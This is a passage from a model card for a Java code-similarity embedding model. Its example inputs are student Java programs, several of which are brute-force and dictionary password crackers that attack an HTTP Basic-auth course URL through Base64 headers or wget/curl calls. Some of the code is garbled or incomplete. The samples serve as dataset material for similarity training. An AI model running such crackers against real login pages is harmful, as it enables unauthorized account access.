BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\ );\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\ \n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\ \n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\ \t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\ \t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\ \t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\ \ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\ \tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \ \ catch (NullPointerException ex)\n {\n System.out.println(word);\n\ \ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\ \t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\ \ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\ \ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\ \t}\n}" sentences: - "\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\nimport\ \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\n\npublic class Dictionary\ \ {\n \n public Dictionary(String url, String dictionaryFile) {\n try{\n\ \ this.url = url;\n this.dictionaryPath = dictionaryFile;\n InputStream\ \ fis = new FileInputStream(this.dictionaryPath);\n dict = new BufferedReader(new\ \ InputStreamReader(fis));\n\n }catch(IOException ioe){\n System.out.println(\"\ Error opening dictionary file:\\n\" +ioe);\n }\n }\n\n\n \n private String\ \ url = null;\n \n private String dictionaryPath = null;\n \n private BufferedReader\ \ dict = null;\n \n private int attempts = 0;\n \n private int passwordSize\ \ = 3;\n \n public void setPasswordSize(int size){\n this.passwordSize\ \ = size;\n }\n \n public String getNextPassword()throws IOException{\n\n \ \ String line = dict.readLine();\n\n while(line!=null&&line.length()!=this.passwordSize\ \ )\n line = dict.readLine();\n\n return line;\n }\n \n public String\ \ crackPassword(String user) throws IOException, MalformedURLException{\n URL\ \ url = null;\n URLConnection urlConnection = null;\n String outcome = null;\n\ \ String authorization = null;\n String password = null;\n BASE64Encoder\ \ b64enc = new BASE64Encoder();\n InputStream content = null;\n BufferedReader\ \ in = null;\n\n\n while(!\"HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n\ \n url = new URL(this.url);\n urlConnection = url.openConnection();\n\ \ urlConnection.setDoInput(true);\n urlConnection.setDoOutput(true);\n\ \n\n urlConnection.setRequestProperty(\"GET\", url.getPath() + \" HTTP/1.1\"\ );\n urlConnection.setRequestProperty(\"Host\", url.getHost());\n password\ \ = getNextPassword();\n if(password == null)\n return null;\n \ \ System.out.print(password);\n authorization = user + \":\" + password;\n\ \n\n urlConnection.setRequestProperty(\"Authorization\", \" \"+ b64enc.encode(authorization.getBytes()));\n\ \n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n this.attempts\ \ ++;\n urlConnection = null;\n url = null;\n \n if(this.attempts%51\ \ == 0)\n for(int b = 0; b < 53;b++)\n System.out.print(\"\\b\ \ \\b\");\n else\n System.out.print(\"\\b\\b\\b.\");\n\n\n }\n\ \ return password;\n }\n \n public int getAttempts(){\n return this.attempts;\n\ \ }\n public static void main (String[] args) {\n if(args.length != 3){\n\ \ System.out.println(\"usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/>\ \ <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>\");\n System.exit(1);\n\ \ }\n\n Dictionary dictionary1 = new Dictionary(args[0], args[2]);\n \ \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\ \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\ \ String password = dictionary1.crackPassword(args[1]);\n if(password\ \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \ \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \ \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\ \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\ \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\ \ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\ \ : \" + dictionary1.getAttempts());\n\n }catch(MalformedURLException mue){\n\ \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\ \ }\n }\n}" - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\ import java.*;\nimport java.util.*;\n\n\npublic class BruteForce\n{\n public\ \ static void main (String args[]) throws Exception {\n\tString retVal = null,\ \ StatusCode = \"HTTP/1.1 200 OK\";\n int found = 0, count = 0, ctrl = 0, flag\ \ = 0;\n\n\n stime = System.currentTimeMillis();\n char[] c =\ \ new char[3];\n System.out.println(\"Cracking password by Brute Force...\"\ );\n\n\t for(int i=65; ((i<123) && (found == 0)); i++)\n\t {\n\t \ \ for(int j=65; ((j<123) && (found == 0)); j++)\n\t {\n\t for (int\ \ k=65; ((k<123) && (found == 0)); k++)\n\t {\n try {\n\ \ if (ctrl == 0) {\n c[0] = '\\0';\n \ \ c[1] = '\\0';\n } else if ((ctrl == 1)\ \ && (flag == 0)) {\n c[0] = '\\0';\n }\n\ \ c[2] = (char)(k);\n\n\t \n \ \ URL yahoo = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \ \ URLConnection yc = yahoo.openConnection();\n\n \ \ \n String authString = \":\" + String.valueOf();\n \ \ String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());\n\ \ yc.setRequestProperty(\"Authorization\", \" \" + auth);\n\ \ count++;\n\n \n BufferedReader\ \ in = new BufferedReader(\n new InputStreamReader(\n\ \ yc.getInputStream()));\n\n \ \ String inputLine;\n while ((inputLine = in.readLine())\ \ != null){\n System.out.println(inputLine);\n \ \ etime = System.currentTimeMillis();\n \ \ System.out.println(\"Password found -- \" + String.valueOf());\n \ \ System.out.println(\"Time used = \" + ((etime - stime)/1000)\ \ + \" sec\");\n System.out.println(\"# of attempt =\ \ \" + count);\n System.out.println(\"End of cracking!\"\ );\n found = 1;\n }\n \ \ in.print();\n\n\t } catch (Exception ex) {}\n\t }\n\t\ \ ctrl = 1;\n c[1] = (char)(j);\n }\n \ \ ctrl = 2;\n flag = 1;\n c[0] = (char)(i);\n }\n\ \ if (found == 0){\n System.out.println(\"Sorry, password found.\"\ );\n System.out.println(\"# of attempt = \" + count);\n System.out.println(\"\ End of cracking!\");\n }\n }\n}" - "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\ \npublic class Dictionary {\n\n private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\ \ -I -u :\";\n private String password; \n private String previous;\ \ \n private String url; \n private int startTime;\n\ \ private int endTime;\n private int totalTime;\n private float averageTime;\n\ \ private boolean finish;\n private Process curl;\n private BufferedReader\ \ bf, responseLine;\n\n public Dictionary() {\n\n first();\n finish = true;\ \ \n previous = \"\"; \n\ \ Runtime run = Runtime.getRuntime();\n startTime =new Date().getTime(); \ \ \n int i=0;\n try {\n try {\n bf = new BufferedReader(new FileReader(\"\ words\"));\n }\n catch(FileNotFoundException notFound) {\n bf = new BufferedReader(new\ \ FileReader(\"/usr/share/lib/dict/words\"));\n }\n\n while((password = bf.readLine())\ \ != null) {\n if(password.length()>3) password = password.substring(0,3);\n\ \ if(previous.equals(password)) ;\n else {\n previous = password;\n \ \ url = commandLine+password;\n curl= run.exec(url); \n\ \ responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\ \ \n if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\ \ }\n }\n }\n catch(IOException ioe) {\n System.out.println(\"\\n IO\ \ Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\ \ System.out.println(\"The current trying password is:\"+password);\n finish=false;\n\ \ }\n\n endTime = new Date().getTime(); \n totalTime = (endTime-startTime)/1000;\n\ \ System.out.println(\" The response time is:\"+ totalTime + \" seconds\\\ n\");\n if(finish) {\n System.out.println(\" The password for is:\"+ password);\n\ \ try {\n savePassword(password, totalTime);\n }\n catch (IOException\ \ ioec) {\n System.out.println(\" not save the password file Dictionary_pwd.txt\ \ \");\n }\n }\n }\n\n\n public void savePassword(String passwdString, int\ \ time) throws IOException {\n DataOutputStream outputStream = new DataOutputStream(new\ \ FileOutputStream(\"Dictionary_pwd.txt\"));\n outputStream.writeChars(\"The\ \ password is:\");\n outputStream.writeChars(passwdString+\"\\n\");\n outputStream.writeChars(\"\ The response time is: \");\n outputStream.writeChars(sw.toString(time));\n outputStream.writeChars(\"\ \ seconds\\n\");\n outputStream.close();\n }\n\n public void first() {\n\n\ \ System.out.println(\"\\n\\n----------------------------------------------\"\ );\n System.out.println(\" Use curl command and dictionary \");\n System.out.println(\"\ \ Brute Force the password for user \");\n System.out.println(\"----------------------------------------------\"\ );\n }\n\n public static void main(String[] args) {\n new Dictionary();\n\ \ } \n}\n" - source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\n\ import java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\ import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\ \ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\ \ void main(String[] args) throws Exception {\n String pass;\n int\ \ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\ \ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\ \n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\ \ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\ \ while (!flag)\n {\n try{\n line = reader.readLine();\n\ \ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n URLConnection yc = url.openConnection();\n pass\ \ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\ \ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \ \ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\ \ String inputLine;\n while ((inputLine = in.readLine())\ \ != null)\n System.out.println(inputLine);\n \ \ in.close();\n System.out.println(pass);\n flag=true;\n\ \ System.out.println(System.currentTimeMillis()/1000); \n \ \ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\ \ }catch(IOException e){\n \n }\n \ \ } \n }catch(FileNotFoundException e){\n System.out.println(\"\ File not found\");\n\n }\n }\n}" sentences: - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n\ {\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"\ http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\ \t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\"\ ;\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\ \t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection\ \ imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender,\ \ recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\ \ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\ \ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ \n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\ \ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\ \n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\ \t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\ \t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\ \t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\ \timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\ \t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\ \n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\ \t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\ \ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\ {\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\ \ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\ \t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\ \t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\ \t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\ \n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\ \t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\ \ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\ \ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\ Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n" - "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\ \ String strUserName;\n private String strURL;\n private String strDictPath;\n\ \ private int iAttempts;\n\n \n public Dictionary(String strURL,String\ \ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\ \ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\ \ }\n \n\n public String getPassword(){\n URL u;\n String result\ \ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\ \ uc;\n String strPassword = new String();\n String strEncode;\n \ \ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\ \ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\ \ uc = u.openConnection();\n uc.setDoInput(true);\n \ \ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\ \ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\ \ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \ \ \n result = uc.getHeaderField(0);\n uc = null;\n \ \ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\ \ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\ \ return(strPassword);\n }\n \n public int getAttempts(){\n return\ \ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\ \ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\ \ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\ \ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\ Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\ \ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\ );\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\ \ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\ \ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\ \ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\ \ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\ \ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \ \ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\ \ String getNewPassword()\n throws PasswordFailureException{\n try {\n \ \ {\n line = inputFile.readLine();\n }while (line.length() !=\ \ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\ \ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\ \ RuntimeException {\n\n public PasswordFailureException() {\n }\n}" - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\ \ Dictionary{\n\n private static URL location;\n private static String user;\n\ \ private BufferedReader input;\n private static BufferedReader dictionary;\n\ \ private int maxLetters = 3;\n\n \n\n public Dictionary() {\n \n \ \ Authenticator.setDefault(new MyAuthenticator ());\n\n startTime = System.currentTimeMillis();\n\ \ boolean passwordMatched = false;\n while (!passwordMatched) {\n \ \ try {\n input = new BufferedReader(new InputStreamReader(location.openStream()));\n\ \ String line = input.readLine();\n while (line != null) {\n\ \ System.out.println(line);\n line = input.readLine();\n\ \ }\n input.close();\n passwordMatched = true;\n \ \ }\n catch (ProtocolException e)\n {\n \n \ \ \n }\n catch (ConnectException e) {\n System.out.println(\"\ Failed connect\");\n }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n endTime = System.currentTimeMillis();\n\ \ System.out.println(\"Total Time: \"+cad.concat(Math.toString(endTime -\ \ startTime)));\n }\n\n \n\n private char[] nextPassword() {\n String\ \ password = new String();\n try {\n password = dictionary.readLine();\n\ \ while (password.length() > maxLetters) {\n password = dictionary.readLine();\n\ \ }\n }\n catch (IOException e) {\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n\n return password.toCharArray();\n \ \ }\n\n\n \n\n public static void main(String args[]) {\n if (args.length\ \ != 3) {\n System.out.println(\"Usage: java Dictionary url user dictionary\"\ );\n System.exit(-1);\n }\n try {\n location = new URL(args[0]);\n\ \ }\n catch (MalformedURLException e) {\n e.printStackTrace();\n\ \ }\n user = new String().concat(args[1]);\n try {\n dictionary\ \ = new BufferedReader(new FileReader(args[2]));\n }\n catch (IOException\ \ e) {\n e.printStackTrace();\n System.exit(-1);\n }\n \ \ new Dictionary();\n }\n\n \n\n class MyAuthenticator extends Authenticator\ \ {\n protected PasswordAuthentication getPasswordAuthentication() {\n \ \ char [] currentPassword = nextPassword();\n System.out.print(user.concat(\"\ -\"));\n System.out.println(currentPassword);\n return new PasswordAuthentication\ \ (user, currentPassword);\n }\n }\n}\n" - source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\ \ class Dictionary\n{\n public static void main (String args[]) throws IOException,\n\ \ MalformedURLException\n {\n final String username = \"\";\n final\ \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n final String\ \ dictfile = \"/usr/share/lib/dict/words\";\n String temppass;\n String\ \ password = \"\";\n URL url = new URL(fullurl);\n boolean cracked =\ \ false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader\ \ r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass =\ \ r.readLine()) != null && !cracked)\n { \n \n if(temppass.length()\ \ <= 3)\n {\n \n if(isAlpha(temppass))\n \ \ {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\ \ try{\n BufferedReader x = new BufferedReader(new\ \ InputStreamReader(\n url.openStream()));\n \ \ cracked = true;\n password = temppass;\n \ \ } catch(Exception e){}\n }\n }\n }\n\n stopTime\ \ = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println(\"\ Sorry, couldnt find the password\");\n else\n System.out.println(\"\ Password found: \"+password);\n System.out.println(\"Time taken: \"+(stopTime-startTime));\n\ \ }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n\ \ for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n\ \ v = false;\n }\n return ;\n }\n}\n\n" sentences: - "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport\ \ java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer\ \ stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n\ \ int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\ ); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\ \n String inputLine = \"\";\n String inputLine1 = \"\";\n String\ \ changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\ \n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\ \n\n while ((inputLine = in.readLine()) != null) {\n inputLine1\ \ = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n \ \ System.out.println(\"equal\");\n }\n else {\n \ \ System.out.println(\"Detected a Change\");\n System.out.println(\"\ Line Before the change:\" + inputLine);\n System.out.println(\"Line\ \ After the change:\" + inputLine1);\n changedtext = changedtext\ \ + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n\ \ \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"\ Detected a Change\");\n System.out.println(\"New Lines Added \");\n \ \ changedtext = changedtext + \"New Lines added\";\n changedflag\ \ = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"\ Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String\ \ from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n \ \ }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\ \t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\ \t\tWatchDog u = new WatchDog();\n }\n}\n" - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\ \npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n\ \ private int startTime;\n private String str1,str2,str3;\n private\ \ String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n private String\ \ loginPwd;\n private String[] password;\n private HoldSharedData data;\n\ \ private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\ \ 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ \ 'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\ \ 'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\ \n public PasswordCombination()\n {\n System.out.println(\"Programmed\ \ by for INTE1070 Assignment 2\");\n\n String input = JOptionPane.showInputDialog(\ \ \"Enter number of threads\" );\n if( input == null )\n System.exit(0);\n\ \n int numOfConnections = Integer.parseInt( input );\n startTime\ \ = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n\ \ password = new String[pwdCounter];\n\n\n loadPasswords();\n \ \ System.out.println( \"Total Number of Passwords: \" + pwdCounter );\n \ \ createConnectionThread( numOfConnections );\n }\n\n private void\ \ doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n\ \ str1 = \"\" + chars[i];\n password[pwdCounter++] = \"\"\ \ + chars[i];\n System.err.print( str1 + \" | \" );\n\n \ \ for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 +\ \ chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n \ \ for( int k = 0; k < 52; k ++ )\n {\n \ \ str3 = str2 + chars[k];\n password[pwdCounter++] =\ \ str2 + chars[k];\n }\n }\n }\n }\n\n \ \ private void loadPasswords( )\n {\n FileReader fRead;\n \ \ BufferedReader buf;\n String line = null;\n String \ \ fileName = \"words\";\n\n try\n {\n fRead = new\ \ FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n \ \ while((line = buf.readLine( )) != null)\n {\n \ \ password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException\ \ e)\n {\n System.err.println(\"File not found: \" + fileName);\n\ \ }\n catch(IOException ioe)\n {\n System.err.println(\"\ IO Error \" + ioe);\n }\n }\n\n private void createConnectionThread(\ \ int input )\n {\n data = new HoldSharedData( startTime, password,\ \ pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads\ \ + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println(\"\ Number of Connection Threads Used=\" + numOfThreads);\n ConnectionThread[]\ \ connThread = new ConnectionThread[numOfThreads];\n\n for( int index =\ \ 0; index < numOfThreads; index ++ )\n {\n connThread[index]\ \ = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n\ \ }\n }\n} " - "import java.io.*;\nimport java.util.StringTokenizer;\nimport java.net.smtp.SmtpClient;\n\ import java.util.Timer;\nimport java.util.TimerTask;\n\n\npublic class WatchDog\ \ {\npublic static void main(String[] args) {\ntry {\nProcess y = Runtime.getRuntime().exec(\"\ ./init\");\n}\ncatch (Exception e) {System.err.println(e);}\n\n\nWatchDog poodle=new\ \ WatchDog();\n {\npoodle.startWatch();\n} while(1==1);\n}\n\npublic void startWatch()\ \ {\nString error_mes=new String();\nString mesg=new String();\nString url=\"\ wget -p http://www.cs.rmit.edu./students\";\n\ntry {\nProcess a = Runtime.getRuntime().exec(url);\n\ }\ncatch (Exception e) {System.err.println(e);}\n\ntry {\nProcess b = Runtime.getRuntime().exec(\"\ diff org/images/ www.cs.rmit.edu./images/\");\n BufferedReader stdInputimages\ \ = new BufferedReader(new InputStreamReader(b.getInputStream()));\n \ \ while ((error_mes = stdInputimages.readLine()) != null) {\n\n \ \ mesg=mesg.concat(error_mes);\n \n \n \ \ }\n}\ncatch (Exception e) {System.err.println(e);}\n\n\n\n\ntry {\nProcess\ \ c = Runtime.getRuntime().exec(\"diff org/students/ www.cs.rmit.edu./students/\"\ );\nBufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));\n\ \ while ((error_mes = stdInputindex.readLine()) != null) {\n \ \ mesg=mesg.concat(error_mes);\n \n }\n}\n\ catch (Exception e) {System.err.println(e);}\n\n\nif (mesg.length()>0) { sendEmail(mesg);\ \ }\n\ntry { Thread.sleep(60*60*24*1000);\n } catch(Exception e) { }\n}\n\n\n\n\ \n\npublic void sendEmail(String message) {\n{\nString reciever = \"@cs.rmit.edu.\"\ ;\nString sender = \"WATCHDOG@cs.rmit.edu.\";\n\n try {\n\n \ \ SmtpClient smtp = new SmtpClient();\n smtp.from(sender);\n\ \ smtp.to(reciever);\n PrintStream\ \ msg = smtp.startMessage();\n msg.println(message);\n\ \ smtp.closeServer();\n }\n\n \ \ catch (Exception e) {}\n\n }\n}\n}" pipeline_tag: sentence-similarity library_name: sentence-transformers --- # SentenceTransformer based on Salesforce/codet5-small This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small). It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - **Model Type:** Sentence Transformer - **Base model:** [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small) <!-- at revision b1ee9570c289f21b5922b9c768a1ce12957bf968 --> - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 512 dimensions - **Similarity Function:** Cosine Similarity <!-- - **Training Dataset:** Unknown --> <!-- - **Language:** Unknown --> <!-- - **License:** Unknown --> ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: T5EncoderModel (1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-Java-CodeT5Small-ST") # Run inference sentences = [ '\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class Dictionary\n{\n public static void main (String args[]) throws IOException,\n MalformedURLException\n {\n final String username = "";\n final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";\n final String dictfile = "/usr/share/lib/dict/words";\n String temppass;\n String password = "";\n URL url = new URL(fullurl);\n boolean cracked = false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass = r.readLine()) != null && !cracked)\n { \n \n if(temppass.length() <= 3)\n {\n \n if(isAlpha(temppass))\n {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n try{\n BufferedReader x = new BufferedReader(new InputStreamReader(\n url.openStream()));\n cracked = true;\n password = temppass;\n } 